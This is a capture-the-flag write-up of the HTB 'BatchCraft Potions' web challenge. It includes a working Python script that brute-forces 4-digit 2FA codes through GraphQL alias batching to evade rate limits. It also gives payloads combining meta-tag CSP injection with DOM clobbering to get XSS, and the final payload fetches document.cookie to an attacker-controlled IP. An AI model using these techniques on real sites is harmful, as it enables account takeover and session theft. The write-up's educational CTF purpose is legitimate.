BatchCraft Potions

7 minute read

A web challenge ranked “medium” in the HTB university CTF

Challenge description:

challenge description

Compared to the easy web challenge this one gave us a lot more trouble, we bypassed the 2fa in about 2h/3h hours then got stuck from friday ~7pm to sunday ~14pm.

Initial recon

We perform a pentest in a white box environment and have access to a nodejs website.

The web server in use is express, we can access the app via an nginx reverse proxy wich ratelimit some endpoint.
The database is a mysql (mariadb) database and it is sometimes using graphql.
It is using JWT for authentication.

It has the following routes:

  • /graphql for managing authentication and 2fa
  • / website root shown below
  • /products/:id to view approved product id
  • /login login page
  • /2fa 2fa page
  • /dashboard to view custom potions (must be logged-in)
  • /api/products/add to add custom potions
  • /products/preview/:id to view product id
  • /logout

website root: website root

Bypassing 2fa

The challenge description gives us some credentials vendor53:PotionsFTW! and state that in order to proceed to further exploits, we need to bypass the 2fa in place.

login page: login page

2fa page: 2fa page

Intercepting the 2fa request in burp, we can a observe a POST request being made to /graphql

graphql 2fa request in burp

I also notice the following line in the source code which indicate that 2fa code, are 4 numbers long (instead of what ? 6 by default ?): challenge/helpers/OTPHelper.js

1authenticator.options = { digits: 4 };

My brain instantly brings me back this portswigger academy exercise and we started trying some payload (multiples variables with different code etc…).
The response was always the same:

2fa bad response

So we dig a deep further and find out about this blog post.
We tried all of json batching payload (modified for our need, and adapting on each error) and eventually got a functionning payload for multi 2fa try in a single request (we are being rate limited by nginx so we can’t just spam request):

payload: (“variables” field is useless btw, just forgot it): intresting payload

result: intresting result

We can now try multiples 2fa codes in a single request (about 1k) and thus can bruteforce the 10k possible codes in about 10sec.

Here’s the script we used to get an authenticated cookie every time we would need one (ty AlaĆ«):

 1import requests, re
 2
 3s = requests.session()
 4host = '134.209.186.13:31234'
 5url = f'http://{host}/graphql'
 6
 7# getting an initial JWT
 8r = s.post(url,
 9    json={
10        "query":"mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }",
11        "variables": {"username":"vendor53","password":"PotionsFTW!"}
12    }
13)
14
15# trying out every 2fa codes
16for indexTen in range(10):
17    # crafting payload
18    payload = 'mutation { '
19    rangerNumber = indexTen * 1000;
20    for index in range(rangerNumber, rangerNumber + 1000):
21        payload += f'assetnote{index}: verify2FA (otp: "{index}")' + '{ message, token } '
22    payload += '}'
23
24    # testing 1k 2fa code
25    r = s.post(url,
26        json={
27            "query": payload,
28        }
29    )
30
31    # checking if one of our 2fa code was right
32    if 'Set-Cookie' in r.headers:
33        print(re.findall(r'session=(.+?);', r.headers['Set-Cookie'])[0])
34        break

We now have a JWT we can use as a session cookie to get access to all website functionalities ! bruteforce script

Privileged user recon

/dashboard: dashboard

/dashboard (but adding product functionality): dashboard

We can then see our added product in the dashboard dashboard

When adding a potion, via the /api/products/add endpoint, it is going to:

  • Verify that our input are in the required format (a string, a number between X and Y etc…).
  • Pass the product description we gave him to DOMPurify, filtering out everything but some html tags (removing <script> obviously).
  • Add the potion to the database.
  • Call the previewProduct function which will visit /products/preview/:id (our new potion) with a version 99.0.4844.84 chromium browser, the flag is set inside his session cookie.

Intial idea

So the path is clear, do an XSS.

The product description, keywords, meta-title and meta-description are all rendered as HTML but are being passed to DOMpurify before getting render.
(we are allowed name, content, property and http-equiv as meta attribute)

BUT

We suck at web.

We tried quite a few things wich (when looking back at it) didnt work out for OBVIOUS reasons, here’s some of them (feel free to skip them by clicking here):

ps: everything that follows are burp payloads.

Meta open redirect

We could inject meta tag using the meta fields when adding a product and trigger an open redirect via a page refresh.

1"product_keywords":"\"><meta content=\"0;url=http://example.com\" HTTP-EQUIV=\"refresh",

Bypass DOMpurify

I don’t know how many hours we tried this but probably too much, it’s made to be secure (kinda) and is implemented securely.

Browser exploit

It’s chrome 99, few month old, there may have been some vulnerabilities we could exploit (there “wasn’t” but we had an open redirect so it was worth the try)
ps: a vulnerability this chrome version may be vulnerable to surfaced a day before the CTF started, but there was nothing disclosed yet.

Open redirect to data URL

On a website you can type javascript on the top navigation bar like this: javascript in data url Well obviously it was disable a long time ago (2017 for firefox) but since we had an open redirect we did try

Since we had an open redirect, we could maybe redirect it to a domain we control, add an iframe and access the iframe cookie šŸ¤”
Well obviously it didnt work because it’s not the same origin but we did thought it could work by adding an allow origin meta tag or other CSP (it’s not possible, it must share the domain, and even with the same domain, you can’t access the iframe cookie from the parent)

Talking about CSP we did find something quite intresting which was useful for our final payload though

This payload:

1`"product_keywords":"\"><meta http-equiv=\"Content-Security-Policy\" content=\"script-src http://localhost:1337 'unsafe-inline'",

would get filtered out by DOMpurify (the content part will be stripped away) because of the unquotted 2nd argument in content (http://localhost:1337), but we can bypass this restriction by adding a quote as a source like this:

1"product_keywords":"\"><meta http-equiv=\"Content-Security-Policy\" content=\"script-src ' http://localhost:1337 ' 'unsafe-inline'",

It does trigger an error in the browser console but the CSP is working.

DOM clobbering XSS

I would never have find this because i didnt know it was possible at all.

When requesting /products/preview/:id (bot with the flag as a cookie will visit this page every time you upload a potion) it will do a server side render of product.html, inserting our filtered meta tags and product description
product preview endpoint code

product.html also contains the following lines wich will make the client fetch some javascript files. product preview endpoint code

The script product.js is using a global variable potionTypes from global.js to render the potion category and image.

product.js: product js code

global.js (extract): product js code

Since we control meta tags, as described above, we can cancel the load of global.js with the following payload

1"product_keywords":"\" /><meta content=\"script-src ' http://localhost:1337/static/js/product.js http://localhost:1337/static/js/jquery.min.js '\" http-equiv=\"Content-Security-Policy",

Which results with chrome crying out in despair (product.js will try to use a variable called potionTypes which does not exist since it wasn’t declared anywhere)

chrome error in console

We can now create (in the description field), an image tag:

  • With potionType as a name so the global variable potionType is actually our html <img> (i still can’t beleive it’s possible)
  • With a numerical id (product.js if condition (in the for loop) needs to be true (category checked server side when uploading a new potion), else id could have been set to potionType)
  • With src as our js payload (see below)

(we also need another html tag with an id/name as potionType so it’s an array and not directly the html object)

If our src equals to:
'/onerror=alert(1)//
It will look like this in product.js

1<img src=''/onerror="alert(1)//'" class='category-img'>

(// is for commenting the quote that will follow)

And it gets render like this in the DOM payload in dom

Combining everything, we get the following payload:

1{
2	"product_name":"blabla",
3	"product_desc":"<img id=10 name=potionTypes src=\"'/onerror=alert(1)//'\" /><b id=potionTypes>",
4	"product_price":"25",
5	"product_category":"10",
6	"product_keywords":"\" /><meta content=\"script-src ' http://127.0.0.1:1337/static/js/product.js http://127.0.0.1:1337/static/js/jquery.min.js ' 'unsafe-inline'\"  http-equiv=\"Content-Security-Policy",
7	"product_og_title":"2",
8	"product_og_desc":"3"
9}

Browsing to the new uploaded product…

xss_triggered

Boom, the xss is triggered, we now just need to extract the cookie.

(we need to modify csp port because the bot will browse from :80)

Final payload:

1{
2	"product_name":"blabla",
3	"product_desc":"<img id=10 name=potionTypes src=\"'/onerror=fetch('http://IP/'+document.cookie)//'\" /><b id=potionTypes>",
4	"product_price":"25",
5	"product_category":"10",
6	"product_keywords":"\" /><meta content=\"script-src ' http://127.0.0.1/static/js/product.js http://127.0.0.1/static/js/jquery.min.js ' 'unsafe-inline'\"  http-equiv=\"Content-Security-Policy",
7	"product_og_title":"2",
8	"product_og_desc":"3"
9}

Now we need to listen on the specified IP to receive the JWT with the flag on it

Receiving the JWT: jwt extracted

Decoding the jwt: extracting flag

HTB{b4tch3d_p0710n5_4nd_m3t4_m4g1c}

I learned a lot in this challenge, thanks !

ps: ty to Othmane (owalid), Alaƫ (Tarzan), Arnaud (LightDiscord) and many other who helped on this challenge !